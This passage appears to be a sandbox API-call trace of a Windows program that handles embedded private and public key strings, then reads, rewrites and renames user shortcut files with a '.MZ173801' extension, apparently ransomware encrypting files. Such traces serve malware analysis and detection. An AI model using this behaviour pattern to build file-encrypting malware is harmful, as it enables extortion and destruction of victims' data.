out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252b0cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.855] GetCurrentThreadId () returned 0xab4 [0146.855] GetCurrentThreadId () returned 0xab4 [0146.856] GetCurrentThreadId () returned 0xab4 [0146.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253c12c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.856] GetCurrentThreadId () returned 0xab4 [0146.856] GetCurrentThreadId () returned 0xab4 [0146.856] GetCurrentThreadId () returned 0xab4 [0146.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-kGuY.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-kguy.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.857] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.857] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.857] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x26b [0146.857] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.857] ReadFile (in: hFile=0x280, lpBuffer=0x2543f30, nNumberOfBytesToRead=0x26b, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2543f30*, lpNumberOfBytesRead=0x19fa18*=0x26b, lpOverlapped=0x0) returned 1 [0146.858] CloseHandle (hObject=0x280) returned 1 [0146.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-kGuY.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-kguy.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.859] WriteFile (in: hFile=0x280, lpBuffer=0x2545f60*, nNumberOfBytesToWrite=0x26b, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2545f60*, lpNumberOfBytesWritten=0x19fa24*=0x26b, lpOverlapped=0x0) returned 1 [0146.860] CloseHandle (hObject=0x280) returned 1 [0146.862] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-kGuY.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-kguy.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-kGuY.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-kguy.lnk.mz173801")) returned 1 [0146.891] GetCurrentThreadId () returned 0xab4 [0146.891] GetCurrentThreadId () returned 0xab4 [0146.891] GetCurrentThreadId () returned 0xab4 [0146.891] GetCurrentThreadId () returned 0xab4 [0146.891] GetCurrentThreadId () returned 0xab4 [0146.891] GetCurrentThreadId () returned 0xab4 [0146.891] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2e1d3e9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf2e1d3e9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf2e4357c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-LTq6n--dr.lnk", cAlternateFileName="-LTQ6N~1.LNK")) returned 1 [0146.891] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.891] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.891] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LTq6n--dr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-ltq6n--dr.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2e1d3e9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf2e1d3e9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf2e4357c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x288)) returned 1 [0146.891] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LTq6n--dr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-ltq6n--dr.lnk")) returned 0x20 [0146.891] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-LTq6n--dr.lnk", dwFileAttributes=0x80) returned 1 [0146.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252b0cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 